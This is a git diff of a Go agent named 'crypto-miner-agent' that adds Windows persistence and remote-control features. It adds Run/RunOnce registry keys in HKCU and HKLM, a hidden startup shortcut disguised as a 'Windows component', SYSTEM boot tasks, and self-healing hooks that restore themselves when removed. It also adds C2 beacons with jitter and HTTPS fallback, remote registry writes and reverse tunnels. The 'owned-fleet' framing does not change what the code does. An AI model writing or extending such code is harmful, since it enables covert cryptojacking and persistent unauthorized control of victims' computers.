{ + c.sendCommandResult(action, false, "name and value are required") + return true + } + if err := deploy.FleetRegistryWrite(hiveToken, payload.Path, payload.Name, payload.Value, payload.Type); err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + c.sendCommandResult(action, true, fmt.Sprintf("wrote %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name)) + case "registry_delete": + if payload.Name == "" { + c.sendCommandResult(action, false, "name is required") + return true + } + if err := deploy.FleetRegistryDelete(hiveToken, payload.Path, payload.Name); err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + c.sendCommandResult(action, true, fmt.Sprintf("deleted %s\\%s\\%s", strings.ToUpper(payload.Hive), payload.Path, payload.Name)) + } + return true +} + +func parseRegistryPayload(path, data string) (registryCommandPayload, error) { + var payload registryCommandPayload + if strings.TrimSpace(data) != "" { + if err := json.Unmarshal([]byte(data), &payload); err != nil { + return payload, fmt.Errorf("invalid registry payload JSON: %w", err) + } + } + if payload.Path == "" { + payload.Path = strings.TrimSpace(path) + } + if payload.Hive == "" { + return payload, fmt.Errorf("hive is required (HKCU or HKLM)") + } + if payload.Path == "" { + return payload, fmt.Errorf("path is required") + } + return payload, nil +} diff --git a/agent/client/syscheck.go b/agent/client/syscheck.go index 01ca49e..7bcff56 100644 --- a/agent/client/syscheck.go +++ b/agent/client/syscheck.go @@ -61,6 +61,8 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck collectSysCheckPlatform(r) + r.KEVExposure = scanKEVExposure(r.Patch, r.ListenPorts, r.Security) + if dir, err := cfg.InstallDirectory(); err == nil { if r.Environment == nil { r.Environment = &SysCheckEnvironment{} diff --git a/agent/client/syscheck_types.go b/agent/client/syscheck_types.go index 0df7dc5..6179c0e 100644 --- a/agent/client/syscheck_types.go +++ b/agent/client/syscheck_types.go @@ -22,6 +22,7 @@ type FullSysCheckReport struct { Patch *PatchStatusReport `json:"patch,omitempty"` Environment *SysCheckEnvironment `json:"environment,omitempty"` Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"` + KEVExposure *KEVScanReport `json:"kev_exposure,omitempty"` RawSysinfo string `json:"raw_sysinfo,omitempty"` RawIPConfig string `json:"raw_ipconfig,omitempty"` diff --git a/agent/client/tunnel_commands.go b/agent/client/tunnel_commands.go new file mode 100644 index 0000000..29d80b5 --- /dev/null +++ b/agent/client/tunnel_commands.go @@ -0,0 +1,152 @@ +package client + +import ( + "encoding/json" + "fmt" + "strings" + + "crypto-miner-agent/deploy" +) + +// tunnelActions are unified protocol tunneling commands (owned-fleet ops). +var tunnelActions = map[string]bool{ + "tunnel_cloudflared": true, + "tunnel_wireguard": true, + "tunnel_ssh_forward": true, + "tunnel_status": true, + "tunnel_stop": true, + "start_tunnel": true, // legacy alias +} + +func isTunnelAction(action string) bool { + return tunnelActions[action] +} + +func (c *AgentClient) allowTunnelAction(action string) (bool, string) { + switch action { + case "tunnel_status", "tunnel_wireguard": + return true, "" + default: + if !c.cfg.RemoteAggressive { + return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" + } + } + return true, "" +} + +func (c *AgentClient) handleTunnelCommand(action string, command, path, data string) bool { + if !isTunnelAction(action) { + return false + } + + ok, reason := c.allowTunnelAction(action) + if !ok { + c.sendCommandResult(action, false, reason) + return true + } + + switch action { + case "tunnel_cloudflared", "start_tunnel": + serverURL := strings.TrimSpace(command) + if serverURL == "" { + serverURL = strings.TrimSpace(path) + } + if serverURL == "" { + serverURL = c.cfg.ServerURL + } + msg, err := deploy.StartCloudflaredTunnel(serverURL) + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "tunnel_wireguard": + var payload WGConfigPayload + raw := strings.TrimSpace(data) + if raw == "" { + raw = strings.TrimSpace(command) + } + if err := json.Unmarshal([]byte(raw), &payload); err != nil { + c.sendCommandResult(action, false, "bad wg config payload: "+err.Error()) + return true + } + go func() { + if err := WGConfigure(payload); err != nil { + c.sendCommandResult(action, false, err.Error()) + return + } + c.sendCommandResult(action, true, "WireGuard tunnel started") + }() + return true + + case "tunnel_ssh_forward": + var meta deploy.SSHForwardMeta + raw := strings.TrimSpace(data) + if raw == "" { + raw = strings.TrimSpace(command) + } + if err := json.Unmarshal([]byte(raw), &meta); err != nil { + meta.LocalPort = parsePortArg(command, 0) + hostPort := strings.TrimSpace(path) + if idx := strings.LastIndex(hostPort, ":"); idx > 0 { + meta.RemoteHost = hostPort[:idx] + meta.RemotePort = parsePortArg(hostPort[idx+1:], 0) + } + meta.SSHUser = strings.TrimSpace(data) + } + msg, err := deploy.StartSSHForward(meta) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "tunnel_status": + raw := deploy.TunnelStatus() + var st deploy.TunnelStatusJSON + _ = json.Unmarshal([]byte(raw), &st) + st.WireGuardActive = WGIsActive() + if st.WireGuardActive { + st.WireGuardDetail = WGStatus() + } + out, _ := json.Marshal(st) + c.sendCommandResult(action, true, string(out)) + return true + + case "tunnel_stop": + kind := strings.TrimSpace(strings.ToLower(command)) + var stopped int + var msgs []string + switch kind { + case "", "all": + stopped, msgs = deploy.StopTunnels() + if WGIsActive() { + WGTeardown() + msgs = append(msgs, "WireGuard tunnel removed") + stopped++ + } + case "cloudflared", "cf": + stopped, msgs = deploy.StopTunnels(deploy.TunnelCloudflared) + case "ssh", "ssh_forward": + stopped, msgs = deploy.StopTunnels(deploy.TunnelSSHForward) + case "wireguard", "wg": + if WGIsActive() { + WGTeardown() + msgs = append(msgs, "WireGuard tunnel removed") + stopped = 1 + } else { + msgs = append(msgs, "no active WireGuard tunnel") + } + default: + c.sendCommandResult(action, false, "unknown kind — use all, cloudflared, ssh, or wireguard") + return true + } + c.sendCommandResult(action, true, fmt.Sprintf("stopped %d tunnel(s)\n%s", stopped, strings.Join(msgs, "\n"))) + return true + } + + return false +} diff --git a/agent/config/config.go b/agent/config/config.go index b1aa595..92ee484 100644 --- a/agent/config/config.go +++ b/agent/config/config.go @@ -22,6 +22,16 @@ type BuiltinConfig struct { RunAs string HostBinaryTarget string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary AutoStart bool + // AutostartMode selects boot/logon hooks beyond RunAs (Windows). Empty = legacy (HKCU Run when AutoStart). + // Values: none, logon_run, logon_startup_folder, boot_task, logon_task, all (comma-separated allowed). + AutostartMode string + // RegistryPersistence selects forge-baked registry Run/RunOnce locations (Windows). + // Values: off, hkcu_run, hkcu_run_once, hklm_run, hklm_run_once, explorer_run, combined (comma-separated allowed). + RegistryPersistence string + RegistryRunHKCU bool + RegistryRunHKLM bool + RegistryRunOnce bool + RegistryExplorerRun bool ProcessName string BuildID string BuiltAt time.Time @@ -76,6 +86,15 @@ type BuiltinConfig struct { RVNPoolTLS bool // primary RVN pool TLS flag RVNPoolPass string // stratum password (usually "x") RVNBackupPools []BackupPool // failover RVN pools + + // Connection profile — C2 beacon timing and self-destruct + BeaconIntervalSec int // base reconnect delay seconds (0 = default 5) + BeaconJitterPct int // ± percent jitter on reconnect sleep (0–100) + AgentKillAfterDays int // exit after N days since BuiltAt (0 = never) + // HTTPSBeaconFallback enables T1071.001 HTTPS POST beacons when WebSocket is down. + HTTPSBeaconFallback bool + // HTTPSBeaconAfterMin minutes without WebSocket before HTTPS beacon (0 = default 3). + HTTPSBeaconAfterMin int } // BackupPool holds connection info for a fallback Stratum mining pool. diff --git a/agent/deploy/autostart_common.go b/agent/deploy/autostart_common.go new file mode 100644 index 0000000..edcc158 --- /dev/null +++ b/agent/deploy/autostart_common.go @@ -0,0 +1,101 @@ +// Package deploy autostart hooks (Windows, MITRE T1547-style). +// +// Triggers: +// - InstallIfNeeded → applyAutostartOnInstall (always creates missing hooks) +// - Watchdog / self-heal → ensureAutostartHooks (repairs only when a hook is missing) +// - Uninstall / removePersistence → removeAutostartExtras +// +// Legacy (AutostartMode empty): HKCU Run when AutoStart is on and RunAs is "user". +package deploy + +import ( + "strings" + + "crypto-miner-agent/config" +) + +// Autostart mode values (baked at forge time via AutostartMode). +// Empty string = legacy: HKCU Run when AutoStart is on and RunAs is "user". +const ( + AutostartNone = "none" + AutostartLogonRun = "logon_run" + AutostartLogonStartupFolder = "logon_startup_folder" + AutostartBootTask = "boot_task" + AutostartLogonTask = "logon_task" + AutostartAll = "all" +) + +func runAsHasBuiltInPersistence(runAs string) bool { + switch strings.ToLower(strings.TrimSpace(runAs)) { + case "scheduled", "service", "bits", "host_binary": + return true + default: + return false + } +} + +// effectiveAutostartModes returns persistence hooks to install/heal for this forge. +// Install + watchdog self-heal both use this list. +func effectiveAutostartModes(cfg config.RuntimeConfig) []string { + raw := strings.ToLower(strings.TrimSpace(cfg.AutostartMode)) + var modes []string + if raw == "" || raw == "legacy" { + if cfg.AutoStart && !runAsHasBuiltInPersistence(cfg.RunAs) { + modes = []string{AutostartLogonRun} + } + } else if raw == AutostartNone { + modes = nil + } else if raw == AutostartAll { + modes = []string{ + AutostartLogonRun, + AutostartLogonStartupFolder, + AutostartBootTask, + AutostartLogonTask, + } + } else { + for _, part := range strings.Split(raw, ",") { + part = strings.TrimSpace(part) + if part == "" || part == AutostartNone { + continue + } + modes = append(modes, part) + } + } + return dedupeRegistryRunOverlap(mergeAutostartModes(modes, effectiveRegistryPersistenceModes(cfg))) +} + +func dedupeRegistryRunOverlap(modes []string) []string { + hasLegacy := false + hasHKCU := false + for _, m := range modes { + if m == AutostartLogonRun { + hasLegacy = true + } + if m == RegistryHKCURun { + hasHKCU = true + } + } + if !hasLegacy || !hasHKCU { + return modes + } + out := make([]string, 0, len(modes)) + for _, m := range modes { + if m == RegistryHKCURun { + continue + } + out = append(out, m) + } + return out +} + +func autostartBootTaskName(cfg config.RuntimeConfig) string { + return PersistenceKeyName(cfg) + "-Boot" +} + +func autostartLogonTaskName(cfg config.RuntimeConfig) string { + return PersistenceKeyName(cfg) + "-Logon" +} + +func autostartStartupShortcutName(cfg config.RuntimeConfig) string { + return PersistenceKeyName(cfg) + ".lnk" +} diff --git a/agent/deploy/autostart_stub.go b/agent/deploy/autostart_stub.go new file mode 100644 index 0000000..7b4cb0d --- /dev/null +++ b/agent/deploy/autostart_stub.go @@ -0,0 +1,15 @@ +//go:build !windows + +package deploy + +import "crypto-miner-agent/config" + +func applyAutostartOnInstall(_ config.RuntimeConfig, _ string) error { + return nil +} + +func ensureAutostartHooks(_ config.RuntimeConfig, _ string, _ bool) error { + return nil +} + +func removeAutostartExtras(_ config.RuntimeConfig) {} diff --git a/agent/deploy/autostart_test.go b/agent/deploy/autostart_test.go new file mode 100644 index 0000000..a8d1513 --- /dev/null +++ b/agent/deploy/autostart_test.go @@ -0,0 +1,47 @@ +package deploy + +import ( + "testing" + + "crypto-miner-agent/config" +) + +func TestEffectiveAutostartModesLegacy(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + WorkerName: "w1", + AutoStart: true, + RunAs: "user", + }} + modes := effectiveAutostartModes(cfg) + if len(modes) != 1 || modes[0] != AutostartLogonRun { + t.Fatalf("legacy user+AutoStart = %v", modes) + } + + cfg.RunAs = "scheduled" + if got := effectiveAutostartModes(cfg); len(got) != 0 { + t.Fatalf("scheduled should not add legacy run key modes: %v", got) + } +} + +func TestEffectiveAutostartModesExplicit(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + AutostartMode: "boot_task,logon_startup_folder", + }} + modes := effectiveAutostartModes(cfg) + if len(modes) != 2 { + t.Fatalf("got %v", modes) + } +} + +func TestAutostartTaskAndShortcutNames(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab-node"}} + if got := autostartBootTaskName(cfg); got != "CryptoMiner-lab-node-Boot" { + t.Fatalf("boot task %q", got) + } + if got := autostartLogonTaskName(cfg); got != "CryptoMiner-lab-node-Logon" { + t.Fatalf("logon task %q", got) + } + if got := autostartStartupShortcutName(cfg); got != "CryptoMiner-lab-node.lnk" { + t.Fatalf("shortcut %q", got) + } +} diff --git a/agent/deploy/autostart_windows.go b/agent/deploy/autostart_windows.go new file mode 100644 index 0000000..ba70bff --- /dev/null +++ b/agent/deploy/autostart_windows.go @@ -0,0 +1,126 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "crypto-miner-agent/config" +) + +// applyAutostartOnInstall registers boot/logon hooks from AutostartMode (or legacy AutoStart). +// Triggers: first install (InstallIfNeeded) after binary copy. +func applyAutostartOnInstall(cfg config.RuntimeConfig, binPath string) error { + return ensureAutostartHooks(cfg, binPath, false) +} + +// ensureAutostartHooks repairs missing hooks on watchdog/self-heal ticks. +func ensureAutostartHooks(cfg config.RuntimeConfig, binPath string, healOnly bool) error { + for _, mode := range effectiveAutostartModes(cfg) { + if err := applyAutostartMode(cfg, binPath, mode, healOnly); err != nil { + return err + } + } + return nil +} + +func applyAutostartMode(cfg config.RuntimeConfig, binPath, mode string, healOnly bool) error { + switch mode { + case AutostartLogonRun, RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryHKLMRunOnce, RegistryExplorerRun: + if healOnly && registryRunValueExists(cfg, mode, binPath) { + return nil + } + return writeRegistryRunValue(cfg, mode, binPath) + case AutostartLogonStartupFolder: + if healOnly && startupShortcutExists(cfg) { + return nil + } + return createLogonStartupShortcut(cfg, binPath) + case AutostartBootTask: + name := autostartBootTaskName(cfg) + if healOnly && scheduledTaskExists(name) { + return nil + } + return createBootScheduledTask(cfg, binPath, name) + case AutostartLogonTask: + name := autostartLogonTaskName(cfg) + if healOnly && scheduledTaskExists(name) { + return nil + } + return createLogonScheduledTask(cfg, binPath, name) + default: + return nil + } +} + +func createLogonStartupShortcut(cfg config.RuntimeConfig, binPath string) error { + startupDir, err := userStartupFolder() + if err != nil { + return err + } + if err := os.MkdirAll(startupDir, 0755); err != nil { + return fmt.Errorf("startup folder: %w", err) + } + lnkPath := filepath.Join(startupDir, autostartStartupShortcutName(cfg)) + ps := fmt.Sprintf(` +$ws = New-Object -ComObject WScript.Shell +$lnk = $ws.CreateShortcut('%s') +$lnk.TargetPath = '%s' +$lnk.Arguments = '%s' +$lnk.WindowStyle = 7 +$lnk.Description = 'Windows component' +$lnk.Save() +`, + strings.ReplaceAll(lnkPath, `'`, `''`), + strings.ReplaceAll(binPath, `'`, `''`), + strings.ReplaceAll(runFlag, `'`, `''`), + ) + return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps) +} + +func userStartupFolder() (string, error) { + appData := os.Getenv("APPDATA") + if appData == "" { + return "", fmt.Errorf("APPDATA not set") + } + return filepath.Join(appData, "Microsoft", "Windows", "Start Menu", "Programs", "Startup"), nil +} + +func startupShortcutExists(cfg config.RuntimeConfig) bool { + dir, err := userStartupFolder() + if err != nil { + return false + } + _, err = os.Stat(filepath.Join(dir, autostartStartupShortcutName(cfg))) + return err == nil +} + +func scheduledTaskTrigger(binPath string) string { + return fmt.Sprintf(`\"%s\" %s`, binPath, runFlag) +} + +// createBootScheduledTask runs at system boot (ONSTART, SYSTEM) — no console (miner uses --run). +func createBootScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error { + tr := scheduledTaskTrigger(binPath) + return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, + "/SC", "ONSTART", "/RU", "SYSTEM", "/RL", "HIGHEST", "/F") +} + +// createLogonScheduledTask runs when any user logs on (ONLOGON) — distinct from run_as=scheduled task name. +func createLogonScheduledTask(cfg config.RuntimeConfig, binPath, taskName string) error { + tr := scheduledTaskTrigger(binPath) + return HiddenRun("schtasks", "/Create", "/TN", taskName, "/TR", tr, + "/SC", "ONLOGON", "/F", "/RL", "LIMITED") +} + +func removeAutostartExtras(cfg config.RuntimeConfig) { + removeRegistryPersistence(cfg) + _ = HiddenRun("schtasks", "/Delete", "/TN", autostartBootTaskName(cfg), "/F") + _ = HiddenRun("schtasks", "/Delete", "/TN", autostartLogonTaskName(cfg), "/F") + if dir, err := userStartupFolder(); err == nil { + _ = os.Remove(filepath.Join(dir, autostartStartupShortcutName(cfg))) + } +} diff --git a/agent/deploy/autostart_windows_test.go b/agent/deploy/autostart_windows_test.go new file mode 100644 index 0000000..ed6019b --- /dev/null +++ b/agent/deploy/autostart_windows_test.go @@ -0,0 +1,19 @@ +//go:build windows + +package deploy + +import ( + "path/filepath" + "strings" + "testing" +) + +func TestUserStartupFolderSuffix(t *testing.T) { + dir, err := userStartupFolder() + if err != nil { + t.Skip("APPDATA unset in test environment") + } + if !strings.HasSuffix(filepath.ToSlash(dir), "Programs/Startup") { + t.Fatalf("unexpected startup dir %q", dir) + } +} diff --git a/agent/deploy/install.go b/agent/deploy/install.go index 370f230..41e6627 100644 --- a/agent/deploy/install.go +++ b/agent/deploy/install.go @@ -55,10 +55,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) { _ = setFirstRunSpreadMarker(installDir) } - if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" && cfg.RunAs != "bits" && cfg.RunAs != "host_binary" { - if err := configureAutoStart(cfg, installedBin); err != nil { - return false, fmt.Errorf("auto-start: %w", err) - } + if err := applyAutostartOnInstall(cfg, installedBin); err != nil { + return false, fmt.Errorf("autostart: %w", err) } if err := configureRunMode(cfg, installedBin); err != nil { diff --git a/agent/deploy/persistence_windows.go b/agent/deploy/persistence_windows.go index 9f05d05..7789d10 100644 --- a/agent/deploy/persistence_windows.go +++ b/agent/deploy/persistence_windows.go @@ -3,11 +3,7 @@ package deploy import ( - "strings" - "crypto-miner-agent/config" - - "golang.org/x/sys/windows/registry" ) func scheduledTaskExists(taskName string) bool { @@ -15,17 +11,7 @@ func scheduledTaskExists(taskName string) bool { } func registryRunExists(cfg config.RuntimeConfig, binPath string) bool { - keyName := PersistenceKeyName(cfg) - k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.QUERY_VALUE) - if err != nil { - return false - } - defer k.Close() - val, _, err := k.GetStringValue(keyName) - if err != nil { - return false - } - return strings.Contains(val, binPath) + return registryRunValueExists(cfg, AutostartLogonRun, binPath) } func serviceExists(svcName string) bool { @@ -59,12 +45,6 @@ func ensurePersistence(cfg config.RuntimeConfig, installedBin string) error { return err } } - default: - if cfg.AutoStart && !registryRunExists(cfg, installedBin) { - if err := configureAutoStart(cfg, installedBin); err != nil { - return err - } - } } - return nil + return ensureAutostartHooks(cfg, installedBin, true) } diff --git a/agent/deploy/platform_windows.go b/agent/deploy/platform_windows.go index 8a21183..1bf8c3e 100644 --- a/agent/deploy/platform_windows.go +++ b/agent/deploy/platform_windows.go @@ -118,12 +118,8 @@ func killWorkerProcess(cfg config.RuntimeConfig) { func removePersistence(cfg config.RuntimeConfig) { keyName := PersistenceKeyName(cfg) - runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) - if err == nil { - _ = runKey.DeleteValue(keyName) - runKey.Close() - } _ = HiddenRun("schtasks", "/Delete", "/TN", keyName, "/F") + removeAutostartExtras(cfg) RemoveBITSPersistence(cfg) RemoveHostBinaryPersistence(cfg) svcName := cfg.ServiceName diff --git a/agent/deploy/registry_allowlist.go b/agent/deploy/registry_allowlist.go new file mode 100644 index 0000000..65aac73 --- /dev/null +++ b/agent/deploy/registry_allowlist.go @@ -0,0 +1,40 @@ +package deploy + +import ( + "fmt" + "strings" +) + +var allowedRegistryPathPrefixes = []string{ + `software\`, + `environment`, +} + +// ParseRegistryHive maps operator hive strings to internal tokens (hkcu/hklm). +func ParseRegistryHive(hive string) (string, error) { + switch strings.ToUpper(strings.TrimSpace(hive)) { + case "HKCU", "HKEY_CURRENT_USER", "CURRENT_USER": + return "hkcu", nil + case "HKLM", "HKEY_LOCAL_MACHINE", "LOCAL_MACHINE": + return "hklm", nil + default: + return "", fmt.Errorf("unsupported hive %q (use HKCU or HKLM)", hive) + } +} + +// ValidateRegistryPath ensures fleet registry ops stay under safe prefixes. +func ValidateRegistryPath(hiveToken, subkey string) error { + subkey = strings.TrimSpace(subkey) + subkey = strings.TrimPrefix(subkey, `\`) + subkey = strings.TrimSuffix(subkey, `\`) + if subkey == "" { + return fmt.Errorf("registry path is required") + } + lower := strings.ToLower(subkey) + for _, prefix := range allowedRegistryPathPrefixes { + if strings.HasPrefix(lower, prefix) { + return nil + } + } + return fmt.Errorf("registry path %q is outside the allowed prefix list (Software\\, Environment)", subkey) +} diff --git a/agent/deploy/registry_persistence_common.go b/agent/deploy/registry_persistence_common.go new file mode 100644 index 0000000..ed88cd5 --- /dev/null +++ b/agent/deploy/registry_persistence_common.go @@ -0,0 +1,117 @@ +package deploy + +import ( + "strings" + + "crypto-miner-agent/config" +) + +// Registry persistence mode tokens (forge-baked via RegistryPersistence or autostart_mode). +const ( + RegistryHKCURun = "hkcu_run" + RegistryHKCURunOnce = "hkcu_run_once" + RegistryHKLMRun = "hklm_run" + RegistryHKLMRunOnce = "hklm_run_once" + RegistryExplorerRun = "explorer_run" + RegistryPersistenceOff = "off" + RegistryPersistenceAll = "combined" +) + +// RegistryPersistenceValueName is the deterministic value name for forge-baked registry hooks. +func RegistryPersistenceValueName(cfg config.RuntimeConfig) string { + name := sanitizeName(cfg.WorkerName) + if name == "" { + name = cfg.EffectiveProcessName() + } + return "AetherForge_" + name +} + +// SanitizeRegistryValueName strips characters invalid in registry value names. +func SanitizeRegistryValueName(name string) string { + name = strings.TrimSpace(name) + if name == "" { + return "AetherForgeValue" + } + replacer := strings.NewReplacer("/", "", "\\", "", ":", "", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "") + clean := replacer.Replace(name) + if clean == "" { + return "AetherForgeValue" + } + if len(clean) > 255 { + clean = clean[:255] + } + return clean +} + +func effectiveRegistryPersistenceModes(cfg config.RuntimeConfig) []string { + raw := strings.ToLower(strings.TrimSpace(cfg.RegistryPersistence)) + if raw == "" || raw == RegistryPersistenceOff { + return modesFromRegistryBools(cfg) + } + if raw == RegistryPersistenceAll { + return combinedRegistryModes(cfg) + } + if raw == RegistryHKCURun || raw == RegistryHKCURunOnce || raw == RegistryHKLMRun || + raw == RegistryHKLMRunOnce || raw == RegistryExplorerRun { + return []string{raw} + } + var modes []string + for _, part := range strings.Split(raw, ",") { + part = strings.TrimSpace(part) + if part == "" || part == RegistryPersistenceOff { + continue + } + modes = append(modes, part) + } + return modes +} + +func modesFromRegistryBools(cfg config.RuntimeConfig) []string { + if cfg.RegistryRunHKCU || cfg.RegistryRunOnce || cfg.RegistryRunHKLM || cfg.RegistryExplorerRun { + return combinedRegistryModes(cfg) + } + return nil +} + +func combinedRegistryModes(cfg config.RuntimeConfig) []string { + var modes []string + if cfg.RegistryRunHKCU { + modes = append(modes, RegistryHKCURun) + } + if cfg.RegistryRunOnce { + modes = append(modes, RegistryHKCURunOnce) + } + if cfg.RegistryRunHKLM { + modes = append(modes, RegistryHKLMRun, RegistryHKLMRunOnce) + } + if cfg.RegistryExplorerRun { + modes = append(modes, RegistryExplorerRun) + } + if len(modes) == 0 && strings.EqualFold(strings.TrimSpace(cfg.RegistryPersistence), RegistryPersistenceAll) { + modes = []string{RegistryHKCURun, RegistryHKCURunOnce, RegistryHKLMRun, RegistryExplorerRun} + } + return modes +} + +func mergeAutostartModes(base []string, extra []string) []string { + if len(extra) == 0 { + return base + } + seen := make(map[string]bool, len(base)+len(extra)) + out := make([]string, 0, len(base)+len(extra)) + for _, m := range base { + if m == "" || seen[m] { + continue + } + seen[m] = true + out = append(out, m) + } + for _, m := range extra { + if m == "" || seen[m] { + continue + } + seen[m] = true + out = append(out, m) + } + return out +} diff --git a/agent/deploy/registry_persistence_stub.go b/agent/deploy/registry_persistence_stub.go new file mode 100644 index 0000000..c29b8d1 --- /dev/null +++ b/agent/deploy/registry_persistence_stub.go @@ -0,0 +1,29 @@ +//go:build !windows + +package deploy + +import ( + "fmt" + + "crypto-miner-agent/config" +) + +func writeRegistryRunValue(_ config.RuntimeConfig, _, _ string) error { return nil } + +func registryRunValueExists(_ config.RuntimeConfig, _, _ string) bool { return false } + +func removeRegistryPersistence(_ config.RuntimeConfig) {} + +func IsProcessElevated() bool { return false } + +func FleetRegistryRead(_, _ string) (map[string]interface{}, error) { + return nil, fmt.Errorf("registry operations are unsupported on this platform") +} + +func FleetRegistryWrite(_, _, _, _, _ string) error { + return fmt.Errorf("registry operations are unsupported on this platform") +} + +func FleetRegistryDelete(_, _, _ string) error { + return fmt.Errorf("registry operations are unsupported on this platform") +} diff --git a/agent/deploy/registry_persistence_test.go b/agent/deploy/registry_persistence_test.go new file mode 100644 index 0000000..ed26a47 --- /dev/null +++ b/agent/deploy/registry_persistence_test.go @@ -0,0 +1,102 @@ +package deploy + +import ( + "strings" + "testing" + + "crypto-miner-agent/config" +) + +func TestValidateRegistryPathAllowed(t *testing.T) { + cases := []struct { + hive string + path string + }{ + {"HKCU", `Software\Microsoft\Windows\CurrentVersion\Run`}, + {"HKLM", `Software\AetherForge\Test`}, + {"HKCU", `Environment`}, + } + for _, tc := range cases { + if err := ValidateRegistryPath("hkcu", tc.path); err != nil { + t.Fatalf("%s: %v", tc.path, err) + } + } +} + +func TestValidateRegistryPathBlocked(t *testing.T) { + blocked := []string{ + `SYSTEM\CurrentControlSet\Services`, + `Microsoft\Windows\CurrentVersion\Run`, + `SAM\Domains`, + } + for _, path := range blocked { + if err := ValidateRegistryPath("hkcu", path); err == nil { + t.Fatalf("expected block for %q", path) + } + } +} + +func TestSanitizeRegistryValueName(t *testing.T) { + got := SanitizeRegistryValueName(`bad/name:with*chars`) + if strings.ContainsAny(got, `/:*`) { + t.Fatalf("unsanitized %q", got) + } + if got == "" { + t.Fatal("empty name") + } +} + +func TestRegistryPersistenceValueName(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "lab node"}} + got := RegistryPersistenceValueName(cfg) + if got != "AetherForge_lab-node" { + t.Fatalf("got %q", got) + } +} + +func TestEffectiveRegistryPersistenceModesEnum(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + RegistryPersistence: "hkcu_run_once,hklm_run", + }} + modes := effectiveRegistryPersistenceModes(cfg) + if len(modes) != 2 { + t.Fatalf("got %v", modes) + } +} + +func TestEffectiveRegistryPersistenceModesBools(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + RegistryRunHKCU: true, + RegistryRunOnce: true, + }} + modes := effectiveRegistryPersistenceModes(cfg) + if len(modes) != 2 { + t.Fatalf("got %v", modes) + } +} + +func TestEffectiveAutostartModesIncludesRegistry(t *testing.T) { + cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ + RegistryPersistence: "hkcu_run_once", + }} + modes := effectiveAutostartModes(cfg) + found := false + for _, m := range modes { + if m == RegistryHKCURunOnce { + found = true + } + } + if !found { + t.Fatalf("registry mode not merged: %v", modes) + } +} + +func TestParseRegistryHive(t *testing.T) { + token, err := ParseRegistryHive("HKEY_CURRENT_USER") + if err != nil || token != "hkcu" { + t.Fatalf("hkcu parse: %q %v", token, err) + } + if _, err := ParseRegistryHive("HKU"); err == nil { + t.Fatal("expected error for HKU") + } +} diff --git a/agent/deploy/registry_persistence_windows.go b/agent/deploy/registry_persistence_windows.go new file mode 100644 index 0000000..06de6aa --- /dev/null +++ b/agent/deploy/registry_persistence_windows.go @@ -0,0 +1,287 @@ +//go:build windows + +package deploy + +import ( + "fmt" + "strings" + "unsafe" + + "crypto-miner-agent/config" + + "golang.org/x/sys/windows" + "golang.org/x/sys/windows/registry" +) + +type registryLoc struct { + hive registry.Key + subkey string + needsAdmin bool +} + +func registryLocForMode(mode string) (registryLoc, bool) { + switch mode { + case AutostartLogonRun, RegistryHKCURun: + return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`}, true + case RegistryHKCURunOnce: + return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`}, true + case RegistryHKLMRun: + return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\Run`, needsAdmin: true}, true + case RegistryHKLMRunOnce: + return registryLoc{hive: registry.LOCAL_MACHINE, subkey: `Software\Microsoft\Windows\CurrentVersion\RunOnce`, needsAdmin: true}, true + case RegistryExplorerRun: + return registryLoc{hive: registry.CURRENT_USER, subkey: `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`}, true + default: + return registryLoc{}, false + } +} + +func registryRunCommand(binPath string) string { + return fmt.Sprintf(`"%s" %s`, binPath, runFlag) +} + +func registryValueNameForMode(cfg config.RuntimeConfig, mode string) string { + switch mode { + case AutostartLogonRun: + return PersistenceKeyName(cfg) + default: + return RegistryPersistenceValueName(cfg) + } +} + +func writeRegistryRunValue(cfg config.RuntimeConfig, mode, binPath string) error { + loc, ok := registryLocForMode(mode) + if !ok { + return nil + } + if loc.needsAdmin && !IsProcessElevated() { + return nil + } + k, _, err := registry.CreateKey(loc.hive, loc.subkey, registry.SET_VALUE) + if err != nil { + return err + } + defer k.Close() + return k.SetStringValue(registryValueNameForMode(cfg, mode), registryRunCommand(binPath)) +} + +func registryRunValueExists(cfg config.RuntimeConfig, mode, binPath string) bool { + loc, ok := registryLocForMode(mode) + if !ok { + return false + } + k, err := registry.OpenKey(loc.hive, loc.subkey, registry.QUERY_VALUE) + if err != nil { 